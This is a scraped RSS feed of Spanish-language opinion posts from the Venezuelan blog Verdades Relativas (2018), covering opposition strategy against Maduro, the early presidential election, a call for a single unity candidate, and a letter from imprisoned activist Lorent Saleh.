Posibilidades reales las tuvo: poder político gigantesco, sumisión absoluta de los demás poderes públicos (hasta enero de 2016, cuando se instaló la nueva Asamblea Nacional), subordinación total de la Fuerza Armada Nacional, férreo control sobre los medios de comunicación social y, muy especialmente, recursos financieros a montón, aún a pesar de la baja en los ingresos petroleros.

Pero lejos de evitar esa catástrofe nos condujo hasta ella y avanzó en su profundización.

En vez de rectificar políticas y acciones claramente nocivas dispuestas por su antecesor, Maduro las continuó, afianzó, aumentó y algunas aderezó con nuevos aditivos aún más perversos: el ya ruinoso control de cambios, la persecución y asfixia al empresariado privado, la desnaturalización y desprofesionalización de Petróleos de Venezuela, la onerosa e inoperante estatización de las industrias básicas, las expropiaciones e intervenciones arbitrarias de empresas y fundos privados en plena producción, el artificioso y engañoso control de precios, la partidización del Banco Central de Venezuela, igualmente de la administración aduanera y tributaria y de toda la administración pública, el acoso a las universidades, a los gremios profesionales y a las organizaciones sindicales autónomas, el cercenamiento de libertades políticas y sindicales, la liquidación de la contratación colectiva, del derecho de huelga y de la concertación tripartita del salario mínimo, la violación sistemática de los derechos humanos, la implantación encubierta de la pena de muerte en operativos contra el hampa, la represión sistemática de las manifestaciones y protestas, la violación consuetudinaria de las libertades de expresión e información, la persecución y acoso a los periodistas y medios de comunicación, cerco institucional y financiero a la Asamblea Nacional, así como a las alcaldías y gobernaciones lideradas por factores de la oposición… y pare usted de contar.

Los resultados están a la vista: un país empobrecido en todos los órdenes, destruido su aparato productivo y su institucionalidad democrática. Limitadas las libertades públicas. Hambreada y malnutrida la mayoría de sus pobladores. La hiperinflación hace estragos en la economía y aterroriza a las familias, cuyos ingresos se ven pulverizados por precios que suben segundo a segundo. El desabastecimiento de alimentos y medicinas se acrecienta gravemente. Los servicios de salud están derruidos no solo en su infraestructura física sino en también en su capacidad resolutiva. Hasta las clínicas privadas están desbordadas y maniatadas. La inseguridad azota a la sociedad toda. La miseria y el desempleo crecen en la misma medida en que se agigantan las corruptelas de una pequeña casta que se enriquece a la sombra del poder.

Los aumentos salariales y las cajas de alimentos que distribuye el estado a precios regulados son meros paliativos que no van a resolver los problemas.

Si Maduro no va a rectificar y a cambiar el rumbo, bien sea por razones ideológicas o de cualquier otra naturaleza, hay entonces que sacarlo, echarlo, despedirlo, eyectarlo de Miraflores.

Ya no caben dudas para quienes la tenían. Para sacar al país de la crisis hay que salir democráticamente de Maduro. Simplemente decirle: “Si pudiste y no lo hiciste, pues ahora tiene que irte”.

¿Y qué mejor oportunidad para hacerlo que las venideras elecciones presidenciales? ¿Qué arma más poderosa tenemos los ciudadanos que nuestro voto? No renunciemos a él.

O salimos en masa a votar o Maduro, el candidato del hambre, pasará eximido por seis años más.

Que se vaya Maduro y saquemos al país de la crisis.

¡Cambio y fuera¡ O mejor dicho: ¡Fuera y cambio!

 

The post O lo raspamos con nuestros votos o Maduro pasará eximido first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/o-lo-raspamos-con-nuestros-votos-o-maduro-pasara-eximido/feed/ 0 1759 Dialogando con el pie izquierdo https://verdadesrelativas.com/dialogando-con-el-pie-izquierdo/?utm_source=rss&utm_medium=rss&utm_campaign=dialogando-con-el-pie-izquierdo https://verdadesrelativas.com/dialogando-con-el-pie-izquierdo/#respond Tue, 06 Feb 2018 19:52:33 +0000 http://verdadesrelativas.com/?p=1719 La polarización ha sido un factor constante desde que el gobierno de Chávez inició su segundo periodo presidencial, sin embargo, actualmente ha evolucionado para ser una polarización de muchos extremos, oficialistas, opositores y opositores radicales. [...]

The post Dialogando con el pie izquierdo first appeared on Verdades Relativas.

]]> La polarización ha sido un factor constante desde que el gobierno de Chávez inició su segundo periodo presidencial, sin embargo, actualmente ha evolucionado para ser una polarización de muchos extremos, oficialistas, opositores y opositores radicales.

Si bien la totalidad de la oposición entiende que la meta es el cambio de gobierno, resulta ser que la causa de la división opositora es el método a utilizar para alcanzar ese fin. Por una parte el sector más radical afirma que «una dictadura no sale con votos» (afirmación que de hecho es falsa y no sería la primera vez que ocurre), y apoyan las manifestaciones y acciones de calle, afirmando que quienes pretendan buscar salidas institucionales colaboran con el gobierno.

En primer lugar, es importante dejar claro que las acciones de calle no son un modo de lograr el cambio de gobierno, sino un modo de ejercer presión interna para que se logren esos cambios, por lo que son importantes pero no sustituyen de ninguna manera los mecanismos institucionales.

Por otra parte, la salida electoral se observa cada vez más complicada, el adelanto de la fecha de las elecciones presidenciales no permite que haya tiempo de actualizar el registro electoral en el exterior del país, negándole así el derecho al ejercicio del voto a las miles de personas que diariamente cruzan las fronteras para escapar de la crisis. Además los constantes cambios y re-ubicaciones  de centros electorales, la persecución a miembros de mesa opositores, procesos no habituales de validación o invalidación de partidos políticos de oposición con complicidad del Tribunal Supremo de Justicia (TSJ) y la constante campaña contra los partidos políticos de oposición (por no hablar del uso de recursos públicos para hacer campaña que existe por parte del gobierno), solo convierten los comicios electorales en un potencial fraude.

Éste escenario convierte al diálogo en una necesidad más que una alternativa. Por su parte, el gobierno buscará que se levanten sanciones internacionales para tener mayor libertad en el manejo de los recursos del Estado y el reconocimiento de la Asamblea Nacional Constituyente, y por otra, la oposición busca la apertura de un canal humanitario, condiciones electorales justas y reconocimiento a la Asamblea Nacional… Aquí está el error.

En primer lugar, las elecciones justas con un CNE designado por la Asamblea Nacional, es un derecho constitucional, y los derechos constitucionales no se negocian, sencillamente deben cumplirse, y es tarea, tanto de los políticos de oposición como de los acompañantes internacionales dejar claro que ésto no está sometido a negociación. Así mismo, La Asamblea Nacional al ser sometida a «desacato», se vició de nulidad toda decisión tomada con la participación de los diputados de Amazonas, sin embargo, al ser éstos desincorporados, ya ésta figura de «desacato» no existe, y el TSJ no está en potestad de asumir sus competencias, acción que puede considerarse, como bien la catalogó en su momento, la Fiscal General, Luisa Ortega, una ruptura del orden constitucional, razón por la cual el reconocimiento de la Asamblea es algo que debe cumplirse y no debe estar sometido a negociación.

En un sentido diferente, ciertamente el presidente de Venezuela tiene la potestad de tomar una iniciativa para la creación de una Asamblea Nacional Constituyente, sin embargo, ésta debe ser sometida a un referendum para su aprobación, al no haberse realizado esa elección, la Asamblea Nacional Constituyente tuvo un principio no constitucional, por lo que no debe ser reconocida, y deben ser anulados todos los actos hechos bajo esa figura de autoridad (Incluyendo las elecciones regionales y municipales, en las cuales no se sometieron a votación los poderes legislativos de esas instancias).

¿Si los derechos constitucionales no están sometidos a negociación, que debe discutirse en la mesa de diálogo?

El diálogo político en Venezuela debe tener dos objetivos, el principal es la re-institucionalización y re-democratización del país, y el otro es acordar entre las partes, acciónes de caracter inmediato que permitan iniciar la solución de los principales problemas del país mientras se realizan elecciones justas en el marco de la constitución.

The post Dialogando con el pie izquierdo first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/dialogando-con-el-pie-izquierdo/feed/ 0 1719 De la “sorpresita” del Gobierno a una sorpresota de la Unidad https://verdadesrelativas.com/de-la-sorpresita-del-gobierno-a-una-sorpresota-de-la-unidad/?utm_source=rss&utm_medium=rss&utm_campaign=de-la-sorpresita-del-gobierno-a-una-sorpresota-de-la-unidad https://verdadesrelativas.com/de-la-sorpresita-del-gobierno-a-una-sorpresota-de-la-unidad/#respond Fri, 02 Feb 2018 15:42:40 +0000 http://verdadesrelativas.com/?p=1694 Cuando la Unión Europea adoptó sanciones individuales contra varios jerarcas de la neodictadura venezolana, Diosdado Cabello amenazó con que el régimen las respondería con una “sorpresita”. Al día siguiente, la ilegítima Asamblea Nacional Constituyente decidió, [...]

The post De la “sorpresita” del Gobierno a una sorpresota de la Unidad first appeared on Verdades Relativas.

]]> Cuando la Unión Europea adoptó sanciones individuales contra varios jerarcas de la neodictadura venezolana, Diosdado Cabello amenazó con que el régimen las respondería con una “sorpresita”. Al día siguiente, la ilegítima Asamblea Nacional Constituyente decidió, a proposición del sancionado Cabello, que las elecciones presidenciales pautadas para fin de año sean adelantadas para este primer cuatrimestre en curso.

La tal “sorpresita” no sorprendió a nadie. Todo el mundo sabía que el gobierno tramaba jugarse esa carta.

Por supuesto que, aún sin ser una sorpresa, la convocatoria a elecciones en tan breve plazo consigue a la oposición en situación de clara desventaja, aunque a decir verdad en todos estos años las fuerzas democráticas no han estado jamás en ventaja frente al gobierno. El ventajismo apabullante del aparato del estado y el grotesco uso de los recursos públicos, amén de la inocultable parcialización del árbitro electoral, han estado siempre a la orden del día y ha colocado a los candidatos oficialistas en mejores condiciones para competir que los de la alternativa democrática.

Pero digamos que en esta coyuntura la situación de la oposición luce supremamente desventajosa: una notoria división política, afectiva y orgánica entre su dirigencia, varias brújulas estratégicas apuntando en direcciones opuestas, dañina campaña antipartidos y anti Unidad en la que coinciden laboratorios del régimen y sectores ultrarradicales, cuestionamientos a la vía electoral, agotamiento y desesperanza en las bases opositoras y la ciudadanía producto de sucesivos errores e incoherencias del liderazgo, creciente emigración de millones de compatriotas mayoritariamente contrarios al régimen, encarcelamiento e inhabilitación de numerosos dirigentes, ilegalización de la tarjeta de la MUD, son entre otros los datos que hoy dibujan el complejo panorama de las fuerzas del cambio democrático en Venezuela.

Es precisamente en esas debilidades y amenazas que agobian a la oposición que se basa el adelantamiento de las elecciones y los sueños reeleccionistas del presidente Nicolás Maduro y su combo.

Guardando las distancias, este momento político nacional tiene algo en común con las elecciones presidenciales ocurridas tras la muerte del presidente Hugo Chávez el 5 de marzo de 2013. El ambiente previo era absolutamente adverso y desolador para la alternativa democrática, que venía de dos sonoras derrotas electorales, una en octubre de 2012, cuando Chávez fue reelegido con holgadísima mayoría frente al opositor Henrique Capriles, y otra en diciembre del mismo año, en la que el chavismo obtuvo 20 de las 23 gobernaciones de estado. Sumado a ello, el oficialismo se mostraba altamente motivado y envalentonado en el propósito de homenajear a su líder muerto con una rotunda victoria en las elecciones convocadas para el 14 de abril, poco más de un mes después del fallecimiento del llamado “comandante eterno”. El candidato oficialista sería el entonces vicepresidente Maduro, quien había sido ungido por Chávez como su heredero político.

Nadie en la oposición quería ser candidato para esas elecciones. El tiempo para tomar la decisión era muy corto, los lapsos de la campaña sumamente breves y atropellados, escasos los recursos y la población opositora exhausta y desanimada. Asumir la candidatura presagiaba una segura derrota.

Aún así, ocurrió lo que ocurrió: Capriles aceptó ser nuevamente el abanderado y, contra todos los pronósticos, la oposición se sacudió el desánimo y estuvo a puntico de ganarle las elecciones a Maduro. Si bien Chávez, con 8 millones y pico de votos le había sacado a Capriles una ventaja de casi dos millones, ahora este se empinaba en 7 millones 363 mil 980 votos y perdía por apenas 141 mil ante un Maduro que sumó 7 millones 505 mil 338 sufragios.

Si en aquel momento Maduro navegaba con viento a favor por la abundancia de petrodólares, la onda expansiva de las victorias electorales precedentes y el influjo motivador desatado por la muerte de Chávez, la realidad de hoy es absolutamente diferente.

Destrucción del aparato productivo, escasez de alimentos y medicinas, hiperinflación galopante, hambre y miseria por doquier, hospitales y clínicas en terapia intensiva, corrupción generalizada, desempleo creciente, criminalidad desbordada, violación sistemática de derechos humanos, éxodo masivo de compatriotas… Todo eso asociado a Maduro.

Si los factores democráticos son capaces de poner de lado las diferencias y mezquindades, de hacer causa común en una candidatura presidencial única y unitaria, y de definir un programa de gobierno que convoque a la unidad nacional y a la resolución de la crisis, la “sorpresita” que ha montado el régimen se le puede devolver en una verdadera sorpresota.

The post De la “sorpresita” del Gobierno a una sorpresota de la Unidad first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/de-la-sorpresita-del-gobierno-a-una-sorpresota-de-la-unidad/feed/ 0 1694 El candidato tiene que ser único y unitario https://verdadesrelativas.com/el-candidato-tiene-que-ser-unico-y-unitario/?utm_source=rss&utm_medium=rss&utm_campaign=el-candidato-tiene-que-ser-unico-y-unitario https://verdadesrelativas.com/el-candidato-tiene-que-ser-unico-y-unitario/#respond Fri, 26 Jan 2018 14:38:02 +0000 http://verdadesrelativas.com/?p=1680 La Asamblea Nacional Constituyente, ilegítima y todo lo demás, pero materialmente empoderada y envalentonada en la arbitrariedad del gobierno y las bayonetas a su servicio, ha dispuesto celebrar las elecciones presidenciales durante el primer cuatrimestre [...]

The post El candidato tiene que ser único y unitario first appeared on Verdades Relativas.

]]> La Asamblea Nacional Constituyente, ilegítima y todo lo demás, pero materialmente empoderada y envalentonada en la arbitrariedad del gobierno y las bayonetas a su servicio, ha dispuesto celebrar las elecciones presidenciales durante el primer cuatrimestre en curso y así ha de convocarlas el muy obediente Consejo Nacional Electoral.

Doy por sentado que, más allá de todas las consideraciones y objeciones que se pueden hacer sobre la ilegitimidad de tal convocatoria, no queda otra opción: la oposición está forzada a participar.

Si al gobierno le interesa y hace lo indecible para que los factores democráticos abandonen la vía electoral, tanto más necesario y obligante es que estos se mantengan abrochados a la única ruta que a lo largo de todos estos años le ha dado algunas victorias a la oposición. ¿Que luego las ha dilapidado? Es verdad, pero eso no es atribuible a la vía en sí misma sino a los múltiples y graves errores en que ha incurrido la dirigencia de las fuerzas políticas en la valoración y la administración de tales victorias.

La de este año no es una coyuntura electoral común, como aquellas que se realizaban en el país en tiempos de relativa normalidad democrática. No es una como para presentar candidaturas simbólicas o testimoniales sobre las cuales empujar un proyecto político de largo aliento o un liderazgo en formación y crecimiento. ¡No señor!

Este acontecimiento electoral tiene que ser asumido por los factores democráticos como la oportunidad para ponerle punto final al proyecto depredador que desgobierna al país y para comenzar a sacar a Venezuela del profundo foso en que este la metió.

Dadas las muy desfavorables condiciones en las cuales la oposición debe competir contra el obsceno ventajismo oficialista y el parcializado árbitro electoral, es indispensable que las fuerzas democráticas concurran con un candidato único y unitario. Ese candidato tiene que reunir las dos condiciones. ¿Por qué único y unitario? Porque no es lo mismo ni se escribe igual. Puede haber un candidato único que no sea unitario, como puede haber uno unitario que no sea el único. En ambos casos los resultados serían catastróficos para la propuesta electoral opositora.

El candidato tiene que ser uno solo, no más de uno, para hacer frente con posibilidades reales de éxito a un poderoso aparato estatal volcado al objetivo de eternizar en Miraflores al proyecto dictatorial personificado hoy en Nicolás Maduro.

Y tiene que ser un candidato verdaderamente unitario, que ponga de lado cualquier sentimiento sectario y exclusionista, que convoque y exprese a las más diversas parcialidades políticas, que reúna y amalgame a los más amplios sectores representativos de la sociedad venezolana y que formule un programa para la transición democrática, la unidad nacional y la superación de la crisis multidimensional que atraviesa el país.

Hasta ahora, solo los dirigentes políticos Henry Ramos Allup, Henri Falcón y Claudio Fermín han hecho públicas sus aspiraciones presidenciales. El rumor habla de otros presuntos aspirantes que hasta ahora no se han manifestado por propia voz. Uno es el empresario, Lorenzo Mendoza, quien al igual que los ya mencionados reúne los requisitos y tendría todo el derecho de presentar su nombre. Pero hasta ahora es solo un rumor, como lo son también los casos de Eduardo Fernández, Andrés Velásquez y Juan Pablo Guanipa. Si hay otros aspirantes, es el momento de que lo hagan saber. No hay otro.

Aunque el tiempo es corto, es muy propicio que los sectores que promueven el cambio democrático le muestren al país la variedad y calidad de su liderazgo. Sus rostros, sus credenciales (cívicas, políticas, profesionales y morales), sus propuestas programáticas, sus estilos personales, sus experiencias administrativas, de gobierno o en cualquier otra esfera del quehacer social.

En las presentes circunstancias, el consenso luce como el método más conveniente para escoger a uno solo entre esos aspirantes. Puede ser producto de una decisión política inmediata, consensuada racionalmente entre los distintos partidos y alianzas, o producto de mediciones de opinión pública que permitan definir cuál de los precandidatos reúne las mayores adhesiones.

Para las elecciones del año 2006, tres líderes democráticos recorrieron el país como precandidatos: Teodoro Petkoff, Julio Borges y Manuel Rosales. Al cabo de dos meses, los dos primeros declinaron a favor del tercero, quien había logrado acumular la mayor suma de voluntades entre los venezolanos, según lo documentaban las encuestas de opinión pública.

Esa sería una buena manera de escoger a un candidato único y unitario en esta ocasión, sin que deban someterse a las turbulencias y riesgos que ofrece la opción de unas elecciones primarias precipitadas y poco confiables.

The post El candidato tiene que ser único y unitario first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/el-candidato-tiene-que-ser-unico-y-unitario/feed/ 0 1680 No podemos rendirnos este 2018. Desde mi celda levantaré mi voz hasta el final https://verdadesrelativas.com/no-podemos-rendirnos-este-2018-desde-mi-celda-levantare-mi-voz-hasta-el-final/?utm_source=rss&utm_medium=rss&utm_campaign=no-podemos-rendirnos-este-2018-desde-mi-celda-levantare-mi-voz-hasta-el-final https://verdadesrelativas.com/no-podemos-rendirnos-este-2018-desde-mi-celda-levantare-mi-voz-hasta-el-final/#respond Sat, 13 Jan 2018 17:51:16 +0000 http://verdadesrelativas.com/?p=1669 A muchos de ustedes no conozco en persona, pero afortunadamente el dolor en ocasión sirve al bien. En este caso nos llevó a encontrarnos y sabernos en esta causa que a todos nos supera, y [...]

The post No podemos rendirnos este 2018. Desde mi celda levantaré mi voz hasta el final first appeared on Verdades Relativas.

]]> A muchos de ustedes no conozco en persona, pero afortunadamente el dolor en ocasión sirve al bien. En este caso nos llevó a encontrarnos y sabernos en esta causa que a todos nos supera, y que no es cualquier causa, es la noble causa de alcanzar la libertad de nuestra amada Venezuela.

Inicié junto a varios compañeros de la universidad las luchas del movimiento estudiantil en el 2007, hace ya más de una década -cuán rápido pasa el tiempo. En ese momento decidimos pintar las manos de blanco, levantar la señal de resistencia no-violenta y gritar a viva voz “¿Quiénes somos? ¡Estudiantes! ¿Qué queremos? ¡Libertad!”.

Recuerdo que antes de salir a la calle, el país había -como hoy- dejado de creer. Entonces irrumpimos en la política con sueños de colores y nos abrimos paso entre los partidos y sus políticos, y cuando nadie creía que podríamos, lo logramos. El 2 de diciembre del 2007 derrotamos al tirano Chávez. Recuerdo que esa madrugada los políticos (los mismos que hoy nos entregaron) nos pedían rendirnos porque “Chávez había ganado y no había nada por hacer”. No lo aceptamos, nos mantuvimos en la calle. Teníamos mucho miedo, pero resistimos y nos empezamos a preparar para combatir en cualquier terreno. Éramos unos niños, pero teníamos los sueños grandes y el corazón cargado de amor. Llegamos a sentirnos invencibles, y entonces, en el medio de la tensa calma de la madrugada, inició la cadena nacional y salió el dictador con su mejor cara de descontrolado y sus puños hinchados y dijo “han ganado, es una victoria de mierd…”.

Luego de eso nada ha sido fácil, han sido muchos los traspiés y las caídas, las desilusiones y las traiciones. No ha habido tiempo para descansar. Muchos se rindieron, otros se entregaron al sistema y se convirtieron en los nuevos politiqueros que tanto habíamos enfrentado.

En el 2014, luego de que la dictadura asesinara a Bassil, a Redman y a muchos más, fui traicionado y entregado, esa vez fue diferente. Me metieron en una celda a 5 pisos bajo tierra en un lugar llamado “La Tumba”. Fue muy difícil, llegué a desear la muerte y preferí cortar mis venas y colgarme con una sábana antes de entregar a mis hermanos. Pude sobrevivir a todo eso y aún sobrevivo a este infierno.

Tres años después de estar en prisión, de ver como todo el país se consumía en la indiferencia y con ello las posibilidades de un cambio, estaba muy deprimido y lloraba en silencio por las noches. Sentía que mi generación había sido derrotada por la dictadura y especialmente por los politiqueros de oposición; me preocupaba que no hubiera un relevo y me culpaba al respecto. De repente, cuando menos lo imaginé, pasó algo especial, realmente especial, a lo que llamé el Realismo Mágico de la juventud de Venezuela.

Quién imaginaría que 10 años después del nacimiento del movimiento estudiantil la dictadura iba a continuar aún más criminal, y, que aun así, saldría desde lo más profundo de las entrañas del país una nueva generación de hermosos y heroicos jóvenes como muchos de ustedes que sin miedo volvían a levantarse en resistencia, irrumpiendo en la realidad y haciéndonos creer nuevamente.

No ha sido nada fácil; sacrificios tras sacrificios han marcado esta ruta que decidimos embarcar, pero ¿saben algo? La clave está en no rendirse. Ellos, los villanos, no son más fuertes ni mejores que nosotros, quienes amamos la libertad. ¿Quién dijo que sería fácil? ¿Acaso no sabemos que nada que valga la pena se consigue fácilmente?

La libertad es algo que vale la pena, quizás nada como ella vale más la pena. No será fácil, no tiene por qué serlo. Y les confieso algo… No quiero que sea fácil alcanzar la libertad de nuestro país, porque debemos sentir desde lo más profundo del corazón cuán cara es la libertad, así la cuidaremos como lo más preciado que tendremos, existirá consciencia entonces y no dejaremos que nos la vuelvan a quitar nunca más. Sospecho que nuestros padres no supieron el valor de ella y por eso hoy nos tocó cargar sus cruces, ahora están ustedes huyendo por salvar sus vidas, unos tras las rejas y otros en el cielo.

En todo caso, ya no es tiempo para reproches, es el tiempo de secar las lágrimas, subir la mirada, respirar profundo, pintar las manos de blanco, levantar de nuevo nuestros escudos de cartón, abrirnos paso con honor entre los obstáculos y gritar ¡viva la libertad!

Llamo a todos aquellos jóvenes que aman Venezuela y que salieron con pasión a defender la libertad a que no se rindan, a que vuelvan y nos levantemos nuevamente hoy cuando el país nos necesita más que nunca. Los llamo a que nos manifestemos pacíficamente y con contundencia, desde donde estemos, usando nuestro talento y conocimiento contra la dictadura y por la libertad del país. No será fácil, pero nada que valga la pena se conseguirá fácilmente, y es justamente la libertad lo que más vale en la vida de un hombre. Venezuela nos necesita, ¡no la dejemos sola!

Yo por mi parte, desde los calabozos levantaré mi voz hasta morir.

Lorent Saleh

The post No podemos rendirnos este 2018. Desde mi celda levantaré mi voz hasta el final first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/no-podemos-rendirnos-este-2018-desde-mi-celda-levantare-mi-voz-hasta-el-final/feed/ 0 1669